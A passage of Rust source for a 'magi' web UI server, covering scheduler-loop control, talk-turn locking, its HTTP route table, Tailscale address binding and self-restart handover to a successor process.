1355 tracing::info!(
1356 "the loop is now running in this process: repo {}, merge {}",
1357 opts.repo.display(),
1358 opts.merge.as_deref().unwrap_or("as the config says")
1359 );
1360 state.live = Some(Live { stop, handle, opts });
1361 state.last_error = None;
1364 state.rev += 1;
1365 Ok(())
1366 }
1367
1368 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
1374 if let Some(other) = foreign {
1375 return Err(ApiError::conflict(format!(
1376 "the loop belongs to {}, and this process cannot stop it - \
1377 stop it where it was started. A button that silently did \
1378 nothing would be worse than this refusal.",
1379 other.who()
1380 )));
1381 }
1382 #[cfg(not(test))]
1383 {
1384 daemon::request_control(
1385 &self.home,
1386 if park {
1387 crate::worker::Control::Park
1388 } else {
1389 crate::worker::Control::Stop
1390 },
1391 )
1392 .map_err(ApiError::from)?;
1393 self.lock_loop().rev += 1;
1394 Ok(())
1395 }
1396 #[cfg(test)]
1397 {
1398 let mut state = self.lock_loop();
1399 let Some(live) = state.live.as_ref() else {
1400 return Ok(());
1401 };
1402 if live.stop.stopped() && (!park || live.stop.parking()) {
1406 return Ok(());
1407 }
1408 if park {
1409 live.stop.park(crate::run::ParkCause::Operator);
1410 tracing::info!(
1411 "the loop was asked to park; the run stops at its next node boundary"
1412 );
1413 } else {
1414 live.stop.stop();
1415 tracing::info!("the loop was asked to stop; a run in flight is finished first");
1416 }
1417 state.rev += 1;
1418 Ok(())
1419 }
1420 }
1421
1422 #[cfg(not(test))]
1429 fn try_loop_view(&self, reading: Option<daemon::Reading>) -> ApiResult<LoopView> {
1430 let jobs = crate::worker::active(&self.home).map_err(|error| {
1431 ApiError::internal(format!("cannot read independent worker state: {error:#}"))
1432 })?;
1433 Ok(self.runtime_loop_view(reading, &jobs))
1434 }
1435
1436 #[cfg(test)]
1437 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
1438 let state = self.lock_loop();
1439 let live = state.live.as_ref().filter(|live| live.alive());
1442 LoopView {
1443 running: live.is_some(),
1444 stopping: live.is_some_and(|live| live.stop.finishing()),
1445 parking: live.is_some_and(|live| live.stop.parking()),
1446 owned: live.is_some(),
1447 repo: live
1448 .map_or(&self.repo, |live| &live.opts.repo)
1449 .display()
1450 .to_string(),
1451 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
1452 last_error: state.last_error.clone(),
1453 daemon: DaemonView::of(reading),
1454 }
1455 }
1456
1457 fn runtime_loop_view(
1459 &self,
1460 reading: Option<daemon::Reading>,
1461 jobs: &[crate::worker::Job],
1462 ) -> LoopView {
1463 let scheduler = jobs.iter().find(|job| job.kind == "scheduler");
1464 let reporting = reading
1465 .as_ref()
1466 .is_some_and(|r| r.running(Timestamp::now()));
1467 let managed = scheduler.is_some()
1468 || (reporting
1469 && reading
1470 .as_ref()
1471 .is_some_and(|r| r.worker_protocol == Some(1)));
1472 let control = crate::worker::control(&self.home, "scheduler")
1473 .ok()
1474 .flatten();
1475 let persisted = if managed && scheduler.is_none() {
1478 std::fs::read(self.home.join("scheduler-options.json"))
1479 .ok()
1480 .and_then(|bytes| serde_json::from_slice::<daemon::Opts>(&bytes).ok())
1481 } else {
1482 None
1483 };
1484 let repo = scheduler
1485 .and_then(|job| job.payload.get("repo"))
1486 .and_then(serde_json::Value::as_str)
1487 .map(str::to_owned)
1488 .or_else(|| {
1489 persisted
1490 .as_ref()
1491 .map(|opts| opts.repo.display().to_string())
1492 })
1493 .unwrap_or_else(|| self.repo.display().to_string());
1494 let merge = match scheduler {
1495 Some(job) => job
1496 .payload
1497 .get("merge")
1498 .and_then(serde_json::Value::as_str)
1499 .map(str::to_owned),
1500 None => persisted.map_or_else(|| self.merge.clone(), |opts| opts.merge),
1501 };
1502 LoopView {
1503 running: managed || reporting,
1504 stopping: managed && matches!(control, Some(crate::worker::Control::Stop)),
1505 parking: matches!(control, Some(crate::worker::Control::Park))
1506 && jobs.iter().any(|job| job.kind == "task"),
1507 owned: managed,
1508 repo,
1509 merge,
1510 last_error: self.lock_loop().last_error.clone(),
1511 daemon: DaemonView::of(reading),
1512 }
1513 }
1514
1515 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
1517 lock_or_recover(&self.looping)
1518 }
1519
1520 fn is_thinking(&self, id: &str) -> bool {
1522 self.talk_turns
1523 .lock()
1524 .is_ok_and(|turns| turns.live.contains(id))
1525 || self.talks.turn_held(id)
1528 || crate::chat_worker::turn_worker_active(&self.talks, id)
1529 }
1530
1531 fn is_thinking_observed(&self, id: &str) -> bool {
1534 self.talk_turns.try_lock().map_or_else(
1535 |error| matches!(error, std::sync::TryLockError::WouldBlock),
1538 |turns| turns.live.contains(id),
1539 )
1540 || self.talks.turn_held(id)
1543 || crate::consult::turn_worker_observed(&self.talks, id)
1544 }
1545
1546 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1565 self.claim_talk_turn(id, false)
1566 }
1567
1568 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1571 self.claim_talk_turn(id, true)
1572 }
1573
1574 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
1575 let mut live = self
1576 .talk_turns
1577 .lock()
1578 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1579 if crate::chat_worker::turn_worker_active(&self.talks, id) {
1580 if queued {
1581 *live.queued.entry(id.to_owned()).or_default() += 1;
1582 }
1583 return Ok(None);
1584 }
1585 let inserted = live.live.insert(id.to_owned());
1586 let lease = if inserted {
1590 match self.talks.claim_turn(id) {
1591 Ok(Some(lease)) => Some(lease),
1592 Ok(None) => {
1593 live.live.remove(id);
1594 None
1595 }
1596 Err(e) => {
1597 live.live.remove(id);
1598 return Err(ApiError::from(e));
1599 }
1600 }
1601 } else {
1602 None
1603 };
1604 if lease.is_none() {
1605 if queued {
1606 *live.queued.entry(id.to_owned()).or_default() += 1;
1611 }
1612 return Ok(None);
1613 }
1614 Ok(Some(TalkTurnGuard {
1615 talk: id.to_owned(),
1616 turns: Arc::clone(&self.talk_turns),
1617 released: false,
1618 lease,
1619 }))
1620 }
1621
1622 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
1627 let mut live = self
1628 .talk_turns
1629 .lock()
1630 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1631 if live.live.contains(id) || crate::chat_worker::turn_worker_active(&self.talks, id) {
1633 return Ok(TalkTurnStart::Busy);
1634 }
1635 let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
1636 return Ok(TalkTurnStart::Foreign);
1637 };
1638 let talk = self.talks.get(id).map_err(ApiError::from)?;
1640 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
1641 return Ok(TalkTurnStart::Pending);
1642 }
1643 live.live.insert(id.to_owned());
1644 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
1645 talk: id.to_owned(),
1646 turns: Arc::clone(&self.talk_turns),
1647 released: false,
1648 lease: Some(lease),
1649 }))
1650 }
1651
1652 fn queued_generation(&self, id: &str) -> u64 {
1653 let live = self
1654 .talk_turns
1655 .lock()
1656 .unwrap_or_else(PoisonError::into_inner);
1657 live.queued.get(id).copied().unwrap_or(0)
1658 }
1659
1660 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
1664 let mut live = self
1665 .resuming
1666 .lock()
1667 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
1668 if self
1669 .upgrade_spawned
1670 .load(std::sync::atomic::Ordering::SeqCst)
1671 {
1672 return Err(ApiError::conflict("an upgrade is in progress"));
1673 }
1674 if !live.insert(id.to_owned()) {
1675 return Err(ApiError::conflict(format!(
1676 "run {id} is already being resumed"
1677 )));
1678 }
1679 Ok(ResumeGuard {
1680 run: id.to_owned(),
1681 resuming: Arc::clone(&self.resuming),
1682 })
1683 }
1684
1685 pub fn router(self) -> Router {
1693 Arc::new(self).shared_router()
1694 }
1695
1696 fn shared_router(self: Arc<Self>) -> Router {
1697 Router::new()
1698 .route("/", get(index))
1699 .route("/app.css", get(app_css))
1700 .route("/app.js", get(app_js))
1701 .route("/api/health", get(health))
1702 .route("/api/references", post(id_links::resolve_text))
1703 .route("/api/loop", get(loop_get).post(loop_post))
1704 .route("/api/upgrade", post(upgrade_post))
1705 .route("/api/runs", get(runs_list))
1706 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
1707 .route("/api/runs/{id}/progress", get(run_progress))
1708 .route("/api/runs/{id}/core", get(run_core))
1709 .route("/api/runs/{id}/report", get(run_report))
1710 .route("/api/runs/{id}/report.json", get(run_report_json))
1711 .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
1712 .route("/api/runs/{id}/seat-evidence", get(run_seat_evidence))
1713 .route("/api/runs/{id}/seat-evidence/{head}", get(run_seat_diff))
1714 .route("/api/runs/{id}/fold", post(run_fold))
1715 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
1716 .route("/api/runs/{id}/resume", post(run_resume))
1717 .route("/api/queue", get(queue_list))
1718 .route("/api/queue/page", get(queue_page))
1719 .route("/api/dependencies", get(dependencies::dependencies_get))
1720 .route("/api/search", get(search_get))
1721 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
1722 .route("/api/queue/{id}/core", get(task_core))
1723 .route("/api/stats", get(stats_get))
1724 .route("/api/stats/queue", get(stats_queue))
1725 .route("/api/repos", get(repos_list))
1726 .route("/api/settings", get(settings_get))
1727 .route("/api/settings/roles", put(settings_put_roles))
1728 .route("/api/queue/{id}/hold", post(queue_hold))
1729 .route("/api/queue/{id}/reassign", post(queue_reassign))
1730 .route("/api/queue/{id}/release", post(queue_release))
1731 .route("/api/queue/{id}/priority", post(queue_priority))
1732 .route("/api/queue/{id}/urgent", post(queue_urgent))
1733 .route("/api/queue/{id}/immediate", post(queue_immediate))
1734 .route("/api/queue/{id}/implementers", post(queue_implementers))
1735 .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
1736 .route("/api/queue/{id}/edit", post(queue_edit))
1737 .route("/api/queue/{id}/done", post(queue_done))
1738 .route("/api/queue/{id}/reopen", post(queue_reopen))
1739 .route("/api/decisions", get(decisions_list))
1740 .route("/api/decisions/{id}", get(decision_get))
1741 .route("/api/questions", get(questions_list))
1742 .route("/api/questions/core", get(questions_core))
1743 .route("/api/questions/origins", get(question_origins))
1744 .route("/api/questions/{id}/answer", post(question_answer))
1745 .route("/api/questions/{id}/say", post(question_say))
1746 .route("/api/questions/{id}/consult", post(question_consult))
1747 .route("/api/questions/{id}/panel", get(question_panel))
1748 .route("/api/questions/{id}/panel/index.html", get(question_panel))
1756 .route("/api/questions/{id}/panel/{name}", get(question_asset))
1757 .route("/api/questions/{id}/asset/{name}", get(question_asset))
1758 .route("/api/notifications", get(notifications_list))
1759 .route("/api/notifications/read-all", post(notifications_read_all))
1760 .route("/api/notifications/{id}/read", post(notification_read))
1761 .route(
1762 "/api/notifications/{id}/dismiss",
1763 post(notification_dismiss),
1764 )
1765 .route("/api/talks", get(talks_list).post(talk_post))
1766 .route("/api/talks/page", get(talks_page))
1767 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
1768 .route("/api/talks/{id}/core", get(talk_core))
1769 .route("/api/talks/{id}/sections", get(talk_sections))
1770 .route("/api/talks/{id}/say", post(talk_say))
1771 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
1772 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
1773 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
1774 .route("/api/talks/{id}/agent", post(talk_agent))
1775 .route("/api/talks/{id}/persona", post(talk_persona))
1776 .route("/api/talks/{id}/implementers", post(talk_implementers))
1777 .route("/api/talks/{id}/close", post(talk_close))
1778 .route("/api/talks/{id}/reopen", post(talk_reopen))
1779 .route(
1785 "/api/talks/{id}/attachments",
1786 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
1787 )
1788 .route(
1789 "/api/talks/{id}/attachments/{att}",
1790 get(talk_attachment_get),
1791 )
1792 .route("/api/talks/{id}/avatar", get(talk_avatar))
1793 .route("/avatars/operator.svg", get(operator_avatar))
1794 .route(
1795 "/api/avatar-settings",
1796 get(avatar_settings_get)
1797 .put(avatar_settings_put)
1798 .delete(avatar_settings_delete),
1799 )
1800 .route("/avatars/persona", get(settings_persona_avatar))
1801 .route("/avatars/magi", get(magi_avatar))
1802 .route(
1803 "/api/magi-icon",
1804 get(magi_icon_get)
1805 .put(magi_icon_put)
1806 .delete(magi_icon_delete),
1807 )
1808 .route("/api/events", get(events))
1809 .with_state(self)
1810 }
1811}
1812
1813#[derive(Debug)]
1819struct TalkTurnGuard {
1820 talk: String,
1821 turns: Arc<Mutex<TalkTurns>>,
1822 released: bool,
1823 lease: Option<crate::talk::TurnLease>,
1825}
1826
1827#[derive(Debug, Default)]
1834struct TalkTurns {
1835 live: HashSet<String>,
1836 queued: HashMap<String, u64>,
1837}
1838
1839enum TalkTurnStart {
1842 Claimed(TalkTurnGuard),
1843 Busy,
1844 Foreign,
1847 Pending,
1848}
1849
1850impl TalkTurnGuard {
1851 #[cfg(test)]
1852 fn owns(&self) -> bool {
1856 self.lease
1857 .as_ref()
1858 .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1859 }
1860
1861 #[cfg(test)]
1862 async fn respond_at(
1865 &self,
1866 talk: &mut Talk,
1867 talks: &Talks,
1868 cfg: &Config,
1869 text: &str,
1870 submitted_input: Option<usize>,
1871 ) -> anyhow::Result<()> {
1872 let lease = self
1873 .lease
1874 .as_ref()
1875 .context("the turn guard no longer holds its lease")?;
1876 talk::respond_at(lease, talk, talks, cfg, text, submitted_input).await
1877 }
1878
1879 fn release(mut self, live: &mut TalkTurns) {
1882 self.lease = None;
1886 live.live.remove(&self.talk);
1887 live.queued.remove(&self.talk);
1888 self.released = true;
1889 }
1890}
1891
1892impl Drop for TalkTurnGuard {
1893 fn drop(&mut self) {
1894 if self.released {
1895 return;
1896 }
1897 drop(self.lease.take());
1899 if let Ok(mut live) = self.turns.lock() {
1900 live.live.remove(&self.talk);
1901 live.queued.remove(&self.talk);
1902 }
1903 }
1904}
1905
1906struct ResumeGuard {
1908 run: String,
1909 resuming: Arc<Mutex<HashSet<String>>>,
1910}
1911
1912impl Drop for ResumeGuard {
1913 fn drop(&mut self) {
1914 if let Ok(mut live) = self.resuming.lock() {
1915 live.remove(&self.run);
1916 }
1917 }
1918}
1919
1920async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1930 const WINDOW: Duration = Duration::from_secs(10);
1931 const GAP: Duration = Duration::from_millis(250);
1932
1933 let deadline = std::time::Instant::now() + WINDOW;
1934 let mut said = false;
1935 loop {
1936 match tokio::net::TcpListener::bind(socket).await {
1937 Ok(listener) => return Ok(listener),
1938 Err(e)
1939 if e.kind() == std::io::ErrorKind::AddrInUse
1940 && std::time::Instant::now() < deadline =>
1941 {
1942 if !said {
1943 said = true;
1944 tracing::info!(
1945 "{socket} is still held - waiting up to {}s for it, \
1946 which is what a restart looks like from here",
1947 WINDOW.as_secs()
1948 );
1949 }
1950 tokio::time::sleep(GAP).await;
1951 }
1952 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1953 }
1954 }
1955}
1956
1957static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1960
1961const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1963const RESTART_PORT_ENV: &str = "MAGI_WEB_RESTART_PORT";
1965
1966fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1968 value.is_some_and(|v| v == "1")
1969}
1970
1971fn spawn_successor(home: &FsPath, port: u16, exe: &FsPath) -> Result<u32> {
1990 let args: Vec<String> = std::env::args().skip(1).collect();
1991 updater::log_step(
1992 home,
1993 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1994 );
1995 let log_path = home.join(WEB_LOG);
1996 let open_log = || {
1997 std::fs::create_dir_all(home)?;
1998 std::fs::OpenOptions::new()
1999 .create(true)
2000 .append(true)
2001 .open(&log_path)
2002 };
2003 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
2004 Ok(pair) => (
2005 std::process::Stdio::from(pair.0),
2006 std::process::Stdio::from(pair.1),
2007 ),
2008 Err(e) => {
2009 updater::log_warn(
2010 home,
2011 &format!(
2012 "could not open {}: {e}; the successor logs nowhere",
2013 log_path.display()
2014 ),
2015 );
2016 (std::process::Stdio::null(), std::process::Stdio::null())
2017 }
2018 };
2019
2020 let mut cmd = std::process::Command::new(exe);
2021 cmd.env_remove(RESUME_LOOP_ENV);
2022 cmd.env(RESTART_PORT_ENV, port.to_string());
2023 cmd.args(&args)
2024 .stdin(std::process::Stdio::null())
2025 .stdout(out)
2026 .stderr(err);
2027 #[cfg(windows)]
2028 {
2029 use std::os::windows::process::CommandExt as _;
2030 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
2033 }
2034 let child = cmd.spawn().context("start the successor")?;
2035 Ok(child.id())
2036}
2037
2038const WEB_LOG: &str = "web.log";
2040
2041async fn wait_for_handover(signal: &Notify) {
2045 signal.notified().await;
2046}
2047
2048pub async fn serve(opts: Opts) -> Result<()> {
2051 crate::worker::remember_current_executable()?;
2054 let executable = std::env::current_exe().context("find the installed web executable")?;
2055 let (addr, warning) = resolve_bind(&opts.bind);
2056 if let Some(warning) = warning {
2057 tracing::warn!("{warning}");
2058 }
2059
2060 report::set_color(false);
2066
2067 let repo = normalize_default_repo(opts.repo).await;
2068 let ui = Arc::new(Ui::open(repo).with_merge(opts.merge));
2069 let home = ui.home.clone();
2071 let admissions = Arc::clone(&ui.admissions);
2072 updater::reconcile_after_restart(&home);
2077 updater::log_step(
2078 &home,
2079 &format!(
2080 "web process started (version {}); handover log {}, successor output {}",
2081 env!("CARGO_PKG_VERSION"),
2082 updater::log_path(&home).display(),
2083 home.join(WEB_LOG).display()
2084 ),
2085 );
2086 updater::spawn_watchdog(home.clone());
2087 let port = if opts.port == 0 {
2095 std::env::var(RESTART_PORT_ENV)
2096 .ok()
2097 .and_then(|value| value.parse::<u16>().ok())
2098 .filter(|port| *port != 0)
2099 .unwrap_or(0)
2100 } else {
2101 opts.port
2102 };
2103 let socket = SocketAddr::new(addr, port);
2104 let listener = bind_waiting(socket).await?;
2105 let bound = listener.local_addr().context("read bound web address")?;
2106 let port = bound.port();
2107 let url = format!("http://{bound}");
2108 tracing::info!(
2109 "magi web UI on {url} - there is no authentication, so anyone who can \
2110 reach this address can file and hold tasks: the tailnet is the \
2111 security boundary"
2112 );
2113 if resume_requested(std::env::var_os(RESUME_LOOP_ENV)) && !daemon::managed(&home) {
2115 ui.start_detached_loop()
2116 .await
2117 .map_err(|e| anyhow::anyhow!(e.message))?;
2118 }
2119 if opts.open {
2120 println!("{url}");
2124 }
2125
2126 let recheck_ui = ui.clone();
2129 let mut served = tokio::spawn(axum::serve(listener, ui.shared_router()).into_future());
2130 let recheck = tokio::spawn(run_update_recheck(recheck_ui));
2131 let interrupted = async {
2132 if tokio::signal::ctrl_c().await.is_err() {
2133 std::future::pending::<()>().await;
2138 }
2139 };
2140 let handover = wait_for_handover(&HANDOVER);
2141 let outcome = tokio::select! {
2142 joined = &mut served => match joined {
2143 Ok(outcome) => outcome.context("serve the web UI"),
2144 Err(e) => Err(e).context("the task serving the web UI ended"),
2145 },
2146 () = interrupted => {
2147 recheck.abort();
2148 tracing::info!("shutting down the web UI; detached workers continue");
2149 close_admissions(&admissions).await;
2150 served.abort();
2151 let _ = served.await;
2152 Ok(())
2153 }
2154 () = handover => {
2155 recheck.abort();
2156 let successor_home = home.clone();
2157 hand_over(&home, &admissions, served, move || spawn_successor(&successor_home, port, &executable)).await
2158 }
2159 };
2160 recheck.abort();
2161 let _ = recheck.await;
2162 updater::log_step(
2163 &home,
2164 &match &outcome {
2165 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
2166 Err(e) => format!("serve: returning an error: {e:#}"),
2167 },
2168 );
2169 outcome
2170}
2171
2172async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
2193 if repo != FsPath::new(".") {
2194 return repo;
2195 }
2196 let Ok(canonical) = repo.canonicalize() else {
2197 return repo;
2198 };
2199 if git::toplevel(&canonical).await.is_ok() {
2200 return repo;
2201 }
2202 let Some(home) = dirs::home_dir() else {
2203 return repo;
2204 };
2205 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
2206 Some(found) => {
2207 tracing::info!(
2208 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
2209 canonical.display(),
2210 found.path.display(),
2211 found.reason,
2212 );
2213 found.path
2214 }
2215 None => repo,
2216 }
2217}
2218
2219async fn close_admissions(admissions: &tokio::sync::RwLock<bool>) {
2222 *admissions.write().await = true;
2223}
2224
2225async fn hand_over(
2228 home: &FsPath,
2229 admissions: &tokio::sync::RwLock<bool>,
2230 served: tokio::task::JoinHandle<std::io::Result<()>>,
2231 successor: impl FnOnce() -> Result<u32>,
2232) -> Result<()> {
2233 close_admissions(admissions).await;
2234 if let Some(mut progress) = updater::read_progress(home) {
2235 progress.advance(updater::Stage::Restarting);
2236 progress.detail =
2237 Some("Restarting scheduler and web; active workers continue unchanged.".to_owned());
2238 updater::write_progress_logged(home, &progress);
2239 }
2240 updater::log_step(
2241 home,
2242 "restarting scheduler without parking execution workers",
2243 );
2244 let scheduler = daemon::restart_detached(home).await;
2245 if let Err(error) = &scheduler {
2246 let _ = updater::fail_progress(home, &format!("restart scheduler: {error:#}"));
2247 updater::log_warn(
2248 home,
2249 &format!("scheduler restart failed; restoring the web UI: {error:#}"),
2250 );
2251 }
2252 updater::log_step(home, "releasing the web listener");
2253 served.abort();
2254 let _ = served.await;
2255 updater::log_step(home, "web listener released; starting the successor");
2256 match successor() {
2257 Ok(pid) => {
2258 updater::log_step(home, &format!("successor started, pid {pid}"));
2259 scheduler
2260 }
2261 Err(e) => {
2262 let _ = updater::fail_progress(home, &format!("start web successor: {e:#}"));
2263 Err(e)
2264 }
2265 }
2266}
2267
2268pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
2274 match bind {
2275 Bind::Addr(addr) => (*addr, None),
2276 Bind::Auto => match tailscale_ip() {
2277 Ok(ip) => (IpAddr::V4(ip), None),
2278 Err(why) => (
2279 IpAddr::V4(Ipv4Addr::LOCALHOST),
2280 Some(format!(
2281 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
2282 local-only and a phone cannot reach it; start Tailscale \
2283 or pass --bind <addr>"
2284 )),
2285 ),
2286 },
2287 }
2288}
2289
2290fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
2298 let out = std::process::Command::new("tailscale")
2299 .args(["ip", "-4"])
2300 .quiet()
2301 .output()
2302 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
2303 if !out.status.success() {
2304 let why = String::from_utf8_lossy(&out.stderr);
2305 let why = why.trim();
2306 return Err(format!(
2307 "`tailscale ip -4` failed ({}){}",
2308 out.status,
2309 if why.is_empty() {
2310 String::new()
2311 } else {
2312 format!(": {why}")
2313 }
2314 ));
2315 }
2316 String::from_utf8_lossy(&out.stdout)
2317 .lines()
2318 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
2319 .find(is_tailnet)
2320 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
2321}
2322
2323fn is_tailnet(ip: &Ipv4Addr) -> bool {
2325 let o = ip.octets();
2326 o[0] == 100 && (64..=127).contains(&o[1])
2327}
2328
2329type ApiResult<T> = std::result::Result<T, ApiError>;
2333
2334#[derive(Debug)]
2336struct ApiError {
2337 status: StatusCode,
2338 message: String,
2339 text_reason: Option<crate::question_delivery::UnavailableReason>,
2340}
2341
2342impl ApiError {
2343 fn bad_request(message: impl Into<String>) -> Self {
2345 Self {
2346 text_reason: None,
2347 status: StatusCode::BAD_REQUEST,
2348 message: message.into(),
2349 }
2350 }
2351
2352 fn not_found(message: impl Into<String>) -> Self {
2354 Self {
2355 text_reason: None,
2356 status: StatusCode::NOT_FOUND,
2357 message: message.into(),
2358 }
2359 }
2360
2361 fn with_status(mut self, status: StatusCode) -> Self {
2364 self.status = status;
2365 self
2366 }
2367
2368 fn bad_request_from(e: anyhow::Error) -> Self {
2372 Self::bad_request(format!("{e:#}"))
2373 }
2374
2375 fn completion(e: anyhow::Error) -> Self {
2376 if e.is::<crate::queue::CompletionSnapshotChanged>() {
2377 Self::conflict(format!("{e:#}"))
2378 } else {
2379 Self::bad_request_from(e)
2380 }
2381 }
2382
2383 fn conflict(message: impl Into<String>) -> Self {
2384 Self {
2385 text_reason: None,
2386 status: StatusCode::CONFLICT,
2387 message: message.into(),
2388 }
2389 }
2390
2391 fn internal(message: impl Into<String>) -> Self {
2393 Self {
2394 text_reason: None,
2395 status: StatusCode::INTERNAL_SERVER_ERROR,
2396 message: message.into(),
2397 }
2398 }
2399}
2400
2401impl From<anyhow::Error> for ApiError {
2402 fn from(e: anyhow::Error) -> Self {
2407 Self::internal(format!("{e:#}"))
2408 }
2409}
2410
2411impl IntoResponse for ApiError {
2412 fn into_response(self) -> Response {
2413 let mut body = serde_json::json!({ "error": self.message });
2414 if let Some(reason) = self.text_reason {
2415 body["code"] = serde_json::json!("question_text_unavailable");
2416 body["reason"] = serde_json::json!(reason);
2417 }
2418 (self.status, Json(body)).into_response()
2419 }
2420}
2421
2422async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
2431where
2432 T: Send + 'static,
2433{
2434 #[cfg(test)]
2435 let job = request_cost::carry(job);
2436 match tokio::task::spawn_blocking(job).await {
2437 Ok(result) => result,
2438 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
2439 }
2440}
2441
2442async fn bulk_blocking<T>(
2445 slots: Arc<tokio::sync::Semaphore>,
2446 job: impl FnOnce() -> ApiResult<T> + Send + 'static,
2447) -> ApiResult<T>
2448where
2449 T: Send + 'static,
2450{
2451 let permit = slots
2452 .acquire_owned()
2453 .await
2454 .map_err(|_| ApiError::internal("Bulk reader stopped"))?;
2455 let (send, receive) = tokio::sync::oneshot::channel();
2456 #[cfg(test)]
2457 let job = request_cost::carry(job);
2458 let runtime = tokio::runtime::Handle::current();
2459 std::thread::Builder::new()
2460 .name("web-bulk".into())
2461 .spawn(move || {
2462 let _permit = permit;
2463 let _runtime = runtime.enter();
2465 let _ = send.send(job());
2466 })
2467 .map_err(|error| ApiError::internal(format!("start bulk reader: {error}")))?;
2468 receive
2469 .await
2470 .map_err(|_| ApiError::internal("Bulk reader failed"))?
2471}
2472
2473const ASSET_CACHE: &str = "no-cache, must-revalidate";
2491
2492fn asset_etag() -> &'static str {
2499 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
2500 format!(
2501 "\"{}-{}\"",
2502 env!("CARGO_PKG_VERSION"),
2503 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
2508 )
2509 });
2510 &TAG
2511}
2512
2513fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
2515 [
2516 (header::CONTENT_TYPE, mime),
2517 (header::CACHE_CONTROL, ASSET_CACHE),
2518 (header::ETAG, asset_etag()),
2519 ]
2520}
2521
2522fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
2530 let tag = asset_etag();
2531 let known = headers
2532 .get(header::IF_NONE_MATCH)
2533 .and_then(|v| v.to_str().ok())
2534 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
2538 if known {
2539 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
2540 }
2541 (asset_headers(mime), body).into_response()
2542}
2543
2544async fn index(headers: header::HeaderMap) -> Response {
2545 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
2546}
2547
2548async fn app_css(headers: header::HeaderMap) -> Response {
2549 asset(&headers, "text/css; charset=utf-8", APP_CSS)
2550}
2551
2552async fn app_js(headers: header::HeaderMap) -> Response {
2553 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
2554}
2555
2556#[derive(Debug, Serialize)]
2558struct HealthView {
2559 version: &'static str,
2560 home: String,
2561 queue_rev: u64,
2562 runs_rev: u64,
2563 questions_rev: u64,
2575 talks_rev: u64,
2577 notifications_rev: u64,
2579 notifications_unread: usize,
2582 loop_rev: u64,
2587 runs_unreadable: usize,
2595 disk: Option<serde_json::Value>,
2603 questions_open: usize,
2609 questions_needs_owner: usize,
2619 daemon: DaemonView,
2620 #[serde(rename = "loop")]
2626 looping: LoopView,
2627 update: UpdateView,
2634 upgrade: Option<UpgradeProgressView>,
2638 jobs: Vec<WorkerView>,
2641 upgrade_request_error: Option<UpgradeRequestFailure>,
2642}
2643
2644#[derive(Debug, Serialize)]
2647struct WorkerView {
2648 id: String,
2649 kind: String,
2650 key: String,
2651 pid: Option<u32>,
2652 status: crate::worker::Status,
2653 generation: String,
2654 version: Option<String>,
2655 queue_owned: bool,
2656}
2657
2658impl From<crate::worker::Job> for WorkerView {
2659 fn from(job: crate::worker::Job) -> Self {
2660 let queue_owned = job.kind == "task"
2661 && job
2662 .payload
2663 .get("standalone")
2664 .and_then(serde_json::Value::as_bool)
2665 != Some(true);
2666 Self {
2667 id: job.id,
2668 kind: job.kind,
2669 key: job.key,
2670 pid: job.pid,
2671 status: job.status,
2672 generation: job.generation,
2673 version: job.version,
2674 queue_owned,
2675 }
2676 }
2677}
2678
2679#[derive(Debug, Clone, Serialize)]
2686struct UpdateView {
2687 available: bool,
2689 to: Option<String>,
2691}
2692
2693#[derive(Debug, Serialize)]
